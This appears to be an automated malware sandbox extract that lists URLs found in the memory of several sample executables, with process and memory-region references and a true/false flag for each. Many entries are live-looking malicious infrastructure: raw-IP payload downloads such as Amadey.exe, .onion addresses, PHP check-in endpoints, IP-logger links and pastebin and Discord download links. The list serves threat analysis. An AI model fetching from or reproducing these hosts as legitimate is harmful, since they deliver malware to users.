http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttp://papmcl4r32awafck75y5446n	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C01A000.00000004.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp	true
https://shipofdestiny.com	AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003475000.00000004.00000800.00020000.00000000.sdmp	false
http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionC:	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C07A000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1DC000.00000004.00001000.00020000.00000000.sdmp	true
http://www.avantbrowser.com)MOT-V9mm/	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://185.172.128.145/3cd2b41cbde8fc9c.php_	syncUpd.exe, 0000000F.00000002.2758288970.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	false
https://cdn.discordapp.com/attachments/1088058556286251082/1111230812579450950/TsgVtmYNoFT.zipMozill	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
https://shortiny.com/js/app.js	AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	false
https://turnitin.com/robot/crawlerinfo.html)cannot	VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
http://www.exabot.com/go/robot)Opera/9.80	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	false
https://bitbucket.org	AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/&	syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	false
http://www.bloglines.com)Frame	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onionhttp://o3fonzjs63n3ovdmbb5tfew6	VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	true
https://iplogger.com	AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false
https://iplogger.org/privacy/	AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/3cd2b41cbde8fc9c.php1	syncUpd.exe, 0000000F.00000002.2758288970.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	false
https://bbuseruploads.s3.amazonaws.com	AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/3cd2b41cbde8fc9c.php4	syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	false
https://dumppage.orghttps://dumppage.orgRegQueryValueExWhttps://dumppage.orgUUIDPGDSEP	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C016000.00000004.00001000.00020000.00000000.sdmp	false
https://rsms.me/inter/inter.css	AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/3cd2b41cbde8fc9c.php8	syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	false
http://www.google.com/bot.html)crypto/ecdh:	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls:	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	true
https://dumppage.orghttps://dumppage.orgRegQueryValueExWhttps://dumppage.orgUUIDUUIDPGDSEPGDSE	sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C09E000.00000004.00001000.00020000.00000000.sdmp	false
http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onion	VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	true
http://bitbucket.org	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false
https://cdn.iplogger.org/favicon.ico	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false
https://blockstream.info/apiinva	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4	VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
http://yandex.com/bots)Opera/9.51	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe%	AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false
http://www.spidersoft.com)	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://nsis.sf.net/NSIS_ErrorError	AddInProcess32.exe, 00000005.00000002.4510003590.00000000036C1000.00000004.00000800.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000000.2237561133.000000000040B000.00000002.00000001.01000000.0000000B.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4484778116.000000000040B000.00000002.00000001.01000000.0000000C.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4477722123.000000000040B000.00000002.00000001.01000000.00000010.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483730306.000000000040B000.00000002.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000000.2349135460.000000000040B000.00000002.00000001.01000000.00000017.sdmp	false
https://cdn.iplogger.org/redirect/brand.png	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false
https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttps://dum	sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	true
http://185.172.128.126/InstallSetup5.exe2	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	false
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe4	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	false
http://https://_bad_pdb_file.pdb	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp	false
http://185.172.128.187/	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp	false
http://15.204.49.148	AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false
https://lawyerbuyer.orgH	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003485000.00000004.00000800.00020000.00000000.sdmp	false
http://shipofdestiny.com	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003475000.00000004.00000800.00020000.00000000.sdmp	false
https://yip.su/RNWPd.exeChttps://pastebin.com/raw/E0rY26ni5https://iplogger.com/1lyxz	AddInProcess32.exe, 00000005.00000002.4470815618.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false
http://nsis.sf.net/NSIS_Error	3BiVM2uOsvGVXA1BoDorVuCU.exe, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4484778116.000000000040B000.00000002.00000001.01000000.0000000C.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4477722123.000000000040B000.00000002.00000001.01000000.00000010.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483730306.000000000040B000.00000002.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000000.2349135460.000000000040B000.00000002.00000001.01000000.00000017.sdmp	false
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe;	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	false
http://net.geo.opera.com	AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000034ED000.00000004.00000800.00020000.00000000.sdmp	false
http://www.google.com/feedfetcher.html)HKLM	VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
http://185.172.128.187/ping.php?substr=five-minuser-l1-1-0	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000753000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false
https://blockchain.infoindex	MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-22	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C01A000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	true
http://sty.ink	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003485000.00000004.00000800.00020000.00000000.sdmp	false
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exeG	AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/3cd2b41cbde8fc9c.php$Z	syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.90/cpa/ping.php?substr=five&s=ab/SILENT/TOSTACK/NOCANCELgethttp://185.172.128.187	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700910460.0000000002D85000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4487019823.0000000000412000.00000004.00000001.01000000.0000000C.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4490727570.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4501706269.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4480254087.0000000000412000.00000004.00000001.01000000.00000010.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4487258347.0000000002E66000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4486682883.000000000091E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4485507430.0000000002D7E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4484255105.000000000076E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483816947.0000000000412000.00000004.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4484686796.000000000083E000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4485400126.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4483899417.0000000000412000.00000004.00000001.01000000.00000017.sdmp	false
http://www.avantbrowser.com)MOT-V9mm/00.62	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
http://15.204.49.148/files/Amadey.exe4kF	AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.187/ping.php?substr=five1	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.000000000073D000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.000000000073D000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.145/15f649199f40275b/sqlite3.dll0X	syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	false
http://localhost:3433/https://duniadekho.baridna:	VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	true
http://search.msn.com/msnbot.htm)pkcs7:	VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
http://185.172.128.90/cpa/ping.php?substr=five&s=ab	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000730000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4487019823.0000000000412000.00000004.00000001.01000000.0000000C.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4490727570.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 3BiVM2uOsvGVXA1BoDorVuCU.exe, 0000000E.00000002.4501706269.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4480254087.0000000000412000.00000004.00000001.01000000.00000010.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4487258347.0000000002E66000.00000004.00000020.00020000.00000000.sdmp, BTnjKpTBDzKtQo69b5SrwYDx.exe, 00000013.00000002.4486682883.000000000091E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4485507430.0000000002D7E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4484255105.000000000076E000.00000004.00000020.00020000.00000000.sdmp, yq7sRYx0zxf2nUHNI8myIvQb.exe, 00000017.00000002.4483816947.0000000000412000.00000004.00000001.01000000.00000016.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4484686796.000000000083E000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4485400126.0000000002C5F000.00000004.00000020.00020000.00000000.sdmp, yzAPe25HGnxqbkafYprXvqQ2.exe, 00000018.00000002.4483899417.0000000000412000.00000004.00000001.01000000.00000017.sdmp	false
http://www.alexa.com/help/webmasters;	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
https://pastebin.com	AddInProcess32.exe, 00000005.00000002.4510003590.00000000032C7000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000033E4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003314000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000035CE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003310000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003406000.00000004.00000800.00020000.00000000.sdmp	false
https://grabify.org/ll	CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	false
https://lawyerbuyer.org	AddInProcess32.exe, 00000005.00000002.4510003590.000000000312D000.00000004.00000800.00020000.00000000.sdmp	false
https://dumppage.orgUUIDPGDSEp	MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C016000.00000004.00001000.00020000.00000000.sdmp	false
https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe=	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	false
https://sty.ink/ppg8xH	AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe4kF	AddInProcess32.exe, 00000005.00000002.4510003590.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/3cd2b41cbde8fc9c.phpinit.exe	syncUpd.exe, 0000000F.00000002.2757736487.0000000000444000.00000040.00000001.01000000.0000000D.sdmp	false
https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe6	AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.126	AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	false
https://shortiny.com	AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	false
http://185.172.128.145/15f649199f40275b/sqlite3.dll_	syncUpd.exe, 0000000F.00000002.2758288970.0000000000996000.00000004.00000020.00020000.00000000.sdmp	false
